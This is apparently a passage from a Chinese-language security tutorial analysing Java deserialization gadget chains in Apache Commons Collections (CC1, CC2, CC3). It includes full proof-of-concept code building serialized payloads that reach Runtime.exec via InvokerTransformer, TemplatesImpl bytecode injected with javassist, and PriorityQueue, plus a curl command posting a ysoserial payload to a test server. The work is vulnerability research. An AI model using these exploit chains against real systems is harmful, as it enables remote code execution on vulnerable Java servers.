Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap

//序列化

FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(lazyMap);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Map target = (Map) objectInputStream.readObject();
target.get("hello");//触发漏洞
}

}

成功!我们现在看看,服务端触发漏洞的话,需要什么条件: 将反序列化后的object强制转化为Map类,然后再调用get()方法 - 看上去依然有点麻烦,我们有什么办法能让它更容易被触发呢?

第五步:TiedMapEntry.getValue()

安全研究前辈们并未发现有可控且调用get()方法的readObject()方法,但在TiedMapEntry类中,getValue()方法调用了get()方法,map变量是可控的。

image-20210806093126421

第六步:TiedMapEntry.toString()

我们继续找有没有调用getValue()的方法,就在TiedMapEntry类中,我们发现了toString(),其中会调用到getValue()

1
2
3
4
public String toString() {
return this.getKey() + "=" + this.getValue();
}

这样一来我们的利用链便是 - 调用toString()会触发 -> getValue() ->get()。那是否能像TransformedMap版本的POC一样,能够找到一个可控的readObject()直接调用toString()呢?

第七步:BadAttributeValueExpException

BadAttributeValueExpException类中,我们发现了readObject()方法,其调用了toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);//valObj是从fields中得到val的值

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();//此处调用了toString()
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

如果我们能够控制valObjTiedMapEntry类的object,就能够触发漏洞。这里的valObj是从反序列化后的objectfields中直接得到的,那么我们可以直接创建一个值为TiedMapEntryobjectvalfield。

我们先看看constructor能不能直接赋值:

1
2
3
4
5
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
//如果val为null,则this.val=null
//如果val不为null,则this.val = val.toString()
}

constructor中,如果我们直接通过构造方法传入TiedMapEntry类,会在客户端创建object的时候就执行toString()触发方法并把结果赋值给val,而服务器在调用readObject()的时候获取到的valtoString()方法的返回值,从而不会触发漏洞。

于是我们不能通过constructor传入TiedMapEntry类的object,相反,我们设置它为null。我们尝试能否手动设置val的值:

image-20210806095753374

发现并不能访问到val值,val值是private属性,image-20210806095846949

BadAttributeValueExpException类中也没有setter能够帮助我们去设置。那么我们可以使用反射对其赋值。

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class LazyMapExploit {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"leihehe");//绑定给TiedMapEntry,如果TiedMapEntry的toString()被执行,lazyMap会被执行get()
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);//该类中的readObject()可控,可执行TiedMapEntry的toString()
//创建一个badAttributeValueExpException实例,这将作为我们的最终的恶意object被序列化
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");//得到val这个variable
val.setAccessible(true);//因为是private,所以需要设置accessible为true
val.set(badAttributeValueExpException,tiedMapEntry);//修改val的值为tiedMapEntry
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);//序列化badAttributeValueExpException
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞
}
}

Reference

Java反序列化-CommonCollections

Java 反序列化漏洞(4) – Apache Commons Collections POP Gadget Chains 剖析

【反序列化漏洞】commons-collections-1 组件

Java反序列化漏洞Apache CommonsCollections分析

Commons Collections 2

环境搭建

CommonsCollections4-4.0

jdk1.7 1.8低版本

Java反序列化漏洞之Ysoserial安装配置中的WebServer环境搭建章节

复现演示

首先在Ysoserial中配置:

image-20211126190531654

运行生成:

image-20211126190648753

运行我们的webserver:

curl "http://localhost:9090/webTest1_Web_exploded/test" --data-binary @payload.ser

image-20211126191106461

即可弹出计算器。

前置知识

CommonsCollections 2 利用链原理

CommonsCollections2中,我们将使用javassist在java字节码(.class)中插入命令执行代码,接着用某个重写了loadClass方法的ClassLoader来加载我们生成好的字节码(.class文件),实现执行恶意代码的效果。ClassLoader用双亲委派机制来加载Class。

Javassist生成执行命令的Class

首先我们先模拟以下javassist怎么生成执行命令的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
import javassist.*;
import java.io.IOException;
public class javassistTest {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException {
//需要创建的class对应一个CtClass, ClassPool是一个容器,包含了各种CtClass
ClassPool cp = ClassPool.getDefault();//获取一个默认的ClassPool
CtClass cc = cp.get(javassistTest.class.getName());//根据反射知识,javassistTest.class是javassistTest instance(object),将javassistTest object的名字放入ClassPool的hashmap中,并返回一个ctClass
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//通过CtClass.makeClassInitializer方法在当前类创建了一个静态代码块
cc.setName("Leihehe");
cc.writeFile();
}
}

CtClass cc = cp.get(javassistTest.class.getName());

我们知道每个需要修改编辑的Class都需要有一个CtClass,所以我们需要为我们需要修改的class创建一个CtClass。此处,我们把javassistTest object放入了ClassPool的hashmap中(表明我们需要修改此类),它会给我们返回一个新的CtClass。

The java.lang.Class.getName() returns the name of the entity (class, interface, array class, primitive type, or void) represented by this Class object, as a String.

所以我们是在hashmap中放入javassistTest object的名字,然后返回了一个新的CtClass。

当我们得到了这个新的CtClass,我们就可以对字节码进行操作了。

CtConstructor, makeClassInitializer(). Makes an empty class initializer (static constructor).

cc.makeClassInitializer().insertBefore(cmd)创建了一个static代码块,并把cmd插入到了static代码块前面,如下:

1
2
3
static {
Runtime.getRuntime().exec("calc");
}

cc.setName("Leihehe");设置了字节码中的类名

cc.writeFile();是将字节码保存到文件中。这时候,我们的字节码编写工作就完成了!

ClassLoader加载字节码

我们平时写代码的文件都是.java格式,经过编译后,会生成.class文件,也就是字节码。 JVM虚拟机想要执行字节码的话,需要使用ClassLoader Class来将这些文件load进JVM,其中的defineClass()方法就是来做这件事的。

下面我们手写一个ClassLoader来加载字节码

1
2
3
4
5
6
7
8
public class TestClassLoader extends ClassLoader {//继承ClassLoader
public TestClassLoader(ClassLoader parent) {
super(parent);
}
public Class g(String name,byte[] b){
return super.defineClass(name,b,0,b.length);
}
}

接着, 我们在之前的javassistTest Class里添加以下代码:

1
2
final byte[] classBytes = cc.toBytecode();//获取字节码
new TestClassLoader(javassistTest.class.getClassLoader()).g(null,classBytes).newInstance();

TestClassLoader(javassistTest.class.getClassLoader())加载了字节码,g()将bytes[]类型的字节码转换成了一个Class instance,但Class instance中的内容并不会主动执行(static代码区)和初始化,所以我们需要使用newInstance()手动触发。

效果:

image-20211126223902264

TemplateImpl类及其利用链

原理

Javassist将Class加载成字节码,并对其执行方法进行修改(例如:插入恶意代码),接着我们将字节码传入A类的变量中。此处的A类能将该变量中的字节码实例化为对象,从而触发其中的static方法。

在CommonsCollections 2利用链中,TemplateImpl Class就是我们payload构造的起点。TemplateImpl Class中能将bytecodes变量用Classloader load并执行:

接下来,我们先来倒着分析一下:我们首先需要找到可以执行漏洞的地方。

defineTransletClasses

image-20211127154940678

通过观察上图defineTransletClasses()中的内容,我们可以发现此处创建了一个新的TransletClassLoader instance,并返回到变量loader。因为最后一行要访问_tfactory.getEcternalEctensionMap(),所以如果我们需要call这个方法的话,需要设置_tfactory的值,因其为TransformerFactoryImpl类型,所以我们new一个就可以了,

defineClass

接着这下面又有一段代码

image-20211127214801875

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

在上图中,loader.defineClass(_bytecodes[i]);将字节码**_bytecodes传入loader** - 加载字符码。需要注意的是,我们的字节码的super class必须是AbstractTranslet类。

那么我们要如何才能触发defineTransletClasses -> loader.defineClass呢?

getTransletInstance()

image-20211127161222841接着我们可以通过getTranslateInstance()来call到defineTransletClasses() - 当_class为空时,defineTransletClasses()会被执行。而之后 .newInstance()创建了instance,执行命令。但要想要执行到newInstance(),我们需要满足_name != null

那么哪里又可以call到**getTransletInstance()**呢?

newTransformer()

image-20211127212356132

getOutputProperties()

同样在TransformerImpl类的getOutputProperties()方法中发现newTransformer()被call了image-20211127212511457

完整利用链

因此我们可以总结出,完整的利用链:

TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

newTransformer()也可作为利用链的开端

经过分析,我们只需要给TransletImpl类给以下的attributes赋值:

  • _bytecodes(恶意字节码)
  • _class(null)
  • _name(任意非空字符串)
  • _tfactory(new TransformerFactoryImpl())

同时,我们的字节码Class需要继承AbstractTranslet

最后call TemplatesImpl.getOutputProperties()即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class TempTest extends AbstractTranslet implements Serializable {
//必须继承AbstractTranslet
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchFieldException, TransformerConfigurationException {
/*构造恶意代码,并使用javassist生成字节码*/
ClassPool classPool = ClassPool.getDefault();//得到默认classPool
final CtClass ctClass= classPool.get(TempTest.class.getName());//从ClassPool中获取属于TempTest的CtClass
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("LeiheheTest");
final byte[] classBytes = ctClass.toBytecode();

/*创建TemplatesImpl对象*/
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");//获取TemplatesImpl的Class类

/*修改_name*/
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"leihehe");

/*修改_class*/
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null);

/*修改_bytecodes*/
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates,new byte[][]{classBytes});

/*修改_tfactory*/
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

/*call利用链的第一条来触发漏洞*/
templates.newTransformer();
//templates.getOutputProperties(); //这条也可触发
}

结果:

image-20211127215336783

CommonsCollections 2 利用链分析

经过上面的分析,我们已经知道了TemplateImpl类的利用链,只要我们找到能够call到利用链第一条newTransfomer()的地方,我们就可以找到反序列化点。

TransformingComparator

TransformingComparatorcompare 方法可以触发transform()方法。

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

看到这个transform()想起了什么?我们可以控制transformer的内容,然后执行InvokerTransformertransform()方法。

InvokerTransformer

在cc1里,我们就分析过InvokerTransformer,不妨再来回顾一遍,加深记忆。

1
2
3
4
5
6
7
8
9
10
11
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();//此处是关键
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);//此处是关键
return method.invoke(input, this.iArgs);//此处是关键
}
...//此处省略
}

InvokerTransformer中就有一个transform()的方法,如果传入的input不为空,那么我们就会依次获取input的Class类、input的某个method,并call我们获取到的方法。

那么在InvokerTransformer中,我们将TemplateImpl类的object作为input传进transform()方法里去就能成功触发了。

总结一下:我们可以通过 TransformingComparator.compare() 执行InvokerTransformertransform(我们的TemplateIml object),再执行TemplateImplnewTransformer()方法

PriorityQueue

利用链中用到了PriorityQueue来触发TransformingComparator.

因为我们传入的序列化对象就是PriorityQueue,所以我们先从readObject()开始分析。

image-20211128194719960

我们可以看到,queue中的元素会被反序列化,然后元素会被处理为二叉树类型 -> **heapify()**。

heapify()
1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)//无符号右移1位
siftDown(i, (E) queue[i]);//将queue中的元素传入siftDown
}

该方法会寻找最后一个非叶子节点,然后使用siftDown方法。 需要注意的是,该处的size必须为2,因为当size为1时,siftDown()不会被call

shiftDown
1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

该方法判断comparator是否为空,如果不为空,则进入siftDownUsingComparator()

image-20211128195530245

注意x为queue中的元素,如果我们将comparator设为TransformingComparator,就可以连上之前的链了 - queue中的元素会作为InvokerTransformerinput object

image-20211202153617378

再次总结一下:

  • comparator设为TransformingComparator
  • 在queue中加入两个元素,其中第一个元素为我们构造的templates

Payload构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
public static void main(String[] args) throws Exception {

/* 生成字节码 */
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//通过CtClass.makeClassInitializer方法在当前类创建了一个静态代码块
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//必须要继承AbstractTranslet类
final byte[] classBytes = cc.toBytecode();//获取字节码


/* TemplatesImpl加载字节码 */
TemplatesImpl templates = TemplatesImpl.class.newInstance();//创建一个templates对象
setFieldValue(templates,"_name","leihehe");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

/* 创建InvokerTransformer */
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// toString是为了保证在构造反序列化链的过程中不报错,只是起到占位的作用。

/* 创建TransformingComparator */
TransformingComparator comparator = new TransformingComparator(transformer);

/* 创建PriorityQueue */
final PriorityQueue<Object> queue = new PriorityQueue<>(2,comparator);
//priorityQueue -> TransformingComparator.compare -> InvokerTransformer.transform
queue.add(templates);//add elements
queue.add(new String("n"));
setFieldValue(transformer,"iMethodName","newTransformer");//需要在最后一步修改,否则出错

/* 写出序列化文件 */
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(("test.ser")));
outputStream.writeObject(queue);
outputStream.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

上述代码中,我们将反射方法写在两个method - setFieldValue()getField()中,方便使用。

几个问题

  1. 为什么在创建InvokerTransformer的时候,不直接通过constructor定义iMethodNamenewTransformer

    刚开始我也没搞明白,后来试了试,发现如果在创建InvokerTransformer的时候就修改method名字的话,在执行到queue.add(1)时会报错,如下图

    1
    final InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);//不能像这样直接定义method名字

    image-20211128234002277

进入**queue.add()**后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public boolean add(E e) {
return offer(e);//进入offer()
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);//进入siftUp
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);//重点!
else
siftUpComparable(k, x);
}

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)//这里也会call compare,但是我们传过去的第二个元素并没有newTransformer方法,所以在生成payload的时候就会出错,所以我们需要把修改method放在queue.add()后面
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
  1. 为什么要add(new String(“n”))而不是add(1)?

通过跟踪服务端触发过程可以发现,image-20211129123207018最先触发的总是队列中的第一个元素,如果第一个元素变成了1而不是templatesIml的话,我们就无法找到元素1当中的newTransformer方法,这时候会报错并抛出异常,无法执行到我们的恶意代码;但如果第一个元素是templatesIml的话,我们就可以执行到newTrasnformer方法。

同样,如果我们在payload中向queue中添加1而不是一个String类型,添加完毕后,queue会自动排序,将1排序到最前面,导致最后在server反序列化的时候会出错(如上方解释)。

2

所以我们有两种方式来写这个payload,一种是我之前代码演示的那样。

第二种:也是ysoserial中使用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//...
queue.add(1);
queue.add(1);//先直接添加两个元素到queue里

setFieldValue(transformer, "iMethodName", "newTransformer");//修改方法名

// 最后使用反射的方式,修改queue中的元素,这样就不会遇到在add的时候被自动排列的情况了
final Object[] queueArray = (Object[])getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
//...

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
//...

执行成功!

image-20211129124841260

Reference

ysoserial CommonsCollections2 详细分析

JAVA双亲委派

Java反序列化-CommonsCollections2分析

Commons Collections 3

环境搭建

  • commons-collections:3.1

  • jdk7u21之前

复现演示

依然是使用ysoserial生成,然后curl命令执行,和之前的cc1和cc2一样,此处就不演示了。

Commons Collections 3 利用链分析

TemplatesImpl & javassist

同cc2一样,我们需要用javassist生成带命令执行的字节码,然后用TemplatesImpl将其加载到JVM。

TrAXFilter

在cc2中,InvokerTransformer的transform方法能够帮我们执行TemplatesImpl类的newTransformer()方法,而在cc3中,我们找到了另一个class - TrAXFilter

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();//直接call到newTransformer方法
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

我们发现,TrAXFilter的构造器会直接call到TransformerImplnewTransformer()方法,恰好TemplatesImplTransformerImpl都是继承Templates的。如果我们把_templates设置为我们自己构造的TemplatesImpl instance,命令就能被执行了。

image-20211130200257918

因为我们的触发点是在new TrAXFilter的时候,所以我们需要在server反序列化我们的object的时候再执行这段代码,而不是我们自己在本地这样随便new一个就可以了。

那么哪个类能够帮助我们new一个新的TrAXFilter呢?

方法一:InvokerTransformer

CommonsCollections 3.1支持我们继续使用InvokerTransformer

于是我们想到可以用InvokerTransformer来new一个新的TrAXFilter,下面我们先用反射的方式来写一下

1
2
3
Class trAXFilterClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");//获取Class
//Class trAXFilterClass = TrAXFilter.class//也可以直接这样,因为我们加载过该Class
trAXFilterClass.getConstructor(TemplatesImpl.class).newInstance();//获取constructor后再call newInstance

我们尝试把上面的反射代码改写成InvokerTransformer

1
2
3
4
InvokerTransformer i1 = new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{Templates.class}});//先构造transformer的参数
Constructor constructor = i1.transform(TrAXFilter.class);//call transform方法,返回一个constructor -> constructor = TrAXFilter.class.getConstructor()
InvokerTransformer i2 = new InvokerTransformer("newInstance", new Class[]{Object[].class},new Object[] {new Object[]{templates}});
i2.transform(constructor);//constructor.newInstance()

在这里我们可以直接构造InvokerTransformer,并在constructor传入方法参数 - 不像在cc2里,我们需要在PriorityQueue.add()之后修改 - 因为PriorityQueue.add()会在add的时候触发comparator从而InvokerTransformertransform()方法,但在这里不会出现这种情况。

运行后成功弹出计算器。

方法二:InstantiateTransformer

除了使用InvokerTransformer来创建TrAXFilter instance,我们还可以通过一个新的Class InstantiateTransformer来完成。

InstantiateTransformertransform()方法中,有一处很明显的创建实例的代码。而它也是属于Transformer的实现类。使用该类,我们不再需要构造getConstructor这样的函数,因为他已经帮我做了,我们只需要传入input

image-20211201110012791

我们现在尝试使用InstantiateTransformer来写一段POC:

1
2
3
        InstantiateTransformer initiateTransformer= new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//传入参数类型是Templates Class,传入arguements为templates
initiateTransformer.transform(TrAXFilter.class);//传入input为TrAxFilter.class

计算器成功弹出!

ChainedTransformer

我们在cc1中使用到了这个方法,它让我们可以将几条transformer串联起来,并用上一个transfomer.transform(intput)的返回值作为下一个transfomer.transform(input)中的input进行执行。

这里我们再简单的复习一遍

1
2
3
4
5
6
7
8
9
10
11
12
public ChainedTransformer(Transformer[] transformers) {//我们可以构造transformers
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {//依次循环每个transformer,当前transformer.transform(object)的返回值会直接变成下一个transformer.trnasform(object)中的object
object = this.iTransformers[i].transform(object);
}

return object;
}

但是,我们还差一个开头的transformer。 TrAXFilter.getConstructor.newInstance()中的TrAXFilter类,我们需要想办法让他也能用ChainedTransformer连接起来,而不是手动去用.transform(input)作为input传入进去。

方法一:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
/* 这里需要添加一个transformer,让他能够返回TrAXFilter class,作为下一个transformer的input */
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{Templates.class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class},new Object[] {new Object[]{templates}})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

方法二:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
/* 这里需要添加一个transformer,让他能够返回TrAXFilter class,作为下一个transformer的input */
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ConstantTransformer

我们最终选择使用我们在cc1中用到的ConstantTransformer

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

通过这个类,我们可以将TrAXFilter类传进去,作为transformers的开头,这样我们的链就串上了!

方法一:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(trAXFilterClass),
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{Templates.class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class},new Object[] {new Object[]{templates}})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("1");//触发第一条ConstantTransformer,传入参数随便写,不影响,因为ConstantTrnasformer的transform函数不会用到它自己的input参数

方法二:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("1");//触发第一条ConstantTransformer,传入参数随便写,不影响,因为ConstantTrnasformer的transform函数不会用到它自己的input参数

计算器执行成功。

LazyMap

ps:CC1的LazyMap及之后的部分也和这个一样。

接下来我们需要寻找触发ChainedTrasnformer.transform()的方法。在CC1链中,我们用到了LazyMap.get(),其中invoke了transform()方法。当我们把factory赋值为chainedTransformer就可以触发其transform()方法了。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

但因为LazyMap的constructor是protected的,所以我们不能直接构造,我们发现LazyMap的decorate()方法可以返回一个instance:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

所以我们可以这样写:

1
2
Map map = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);//得到lazyMap instance

那么怎样触发LazyMap.get()方法呢?最好是readObject内部可以用到的。

AnnotationInvocationHandler

我们发现在AnnotationInvocationHandler中的invoke()调用了memberValues.get(member)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;

// Handle annotation member accessors
Object result = memberValues.get(member);//这里调用了get()

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

如果我们把memberValues的值改为Lazymap对象,那么我们就可以触发漏洞了。

我们可以通过AnnotationInvocationHandler的构造函数来达到这个目的。

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

但尝试后发现并不能直接创建对象

image-20211201153006916

因为AnnotationInvocationHandler无法直接访问,于是我们使用反射方法

1
2
3
4
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);//AnnotationInvocationHandler是实现InvocationHandler类的,我们可以直接把他转化为InvocationHandler类,传入我们的lazyMap

但我们应该如何call到secondInvocationHandlerinvoke()方法呢?

动态代理 - InvocationHandler & AnnotationInvocationHandler

Java反序列化漏洞之静态代理与动态代理(5)中已经详细讲解过,此处的InvocationHandler接口其实就是负责提供调用代理操作,在动态代理中,一个代理类必须要实现InvocationHandler类,从而每当客户调用代理类动态生成的代理instance的方法的时候,都会被转发至代理类的invoke()方法。我们得知AnnotationInvocationHandler implements InvocationHandler,是否意味着,AnnotationInvocationHandler就可以作为一个代理类呢?

如果我们用AnnotationInvocationHandler代理类动态生成一个代理A,再去访问代理A的方法,我们就可以自动call到代理类AnnotationInvocationHandlers中的invoke()方法了

如果这个代理A是一个HashMap,那么我们只要执行了这个创建的代理HashMap的任意一个function,都能触发命令。

1
2
3
4
5
//创建代理类的实例
InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
//创建hashmap的动态代理instance,现在我们只需要call 到evilMap的任意function就可以触发代理类的invoke了
Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler);

反序列化点

我们注意到AnnotationInvocationHandler有它自己的readObject(),这意味着,如果我们把它作为序列化object传给服务器,服务器在反序列化时会执行其readObject()方法。

image-20211201161957159

经过分析,我们非常清楚,memberValues是可控的,可以通过反射构造函数来控制。如果我们将memberValues设置为我们上一步生成的代理evilMap,那么意味着,反序列化时我们就可以完成整条攻击链了!

1
2
3
4
5
6
7
8
9
10
11
//创建代理类的实例
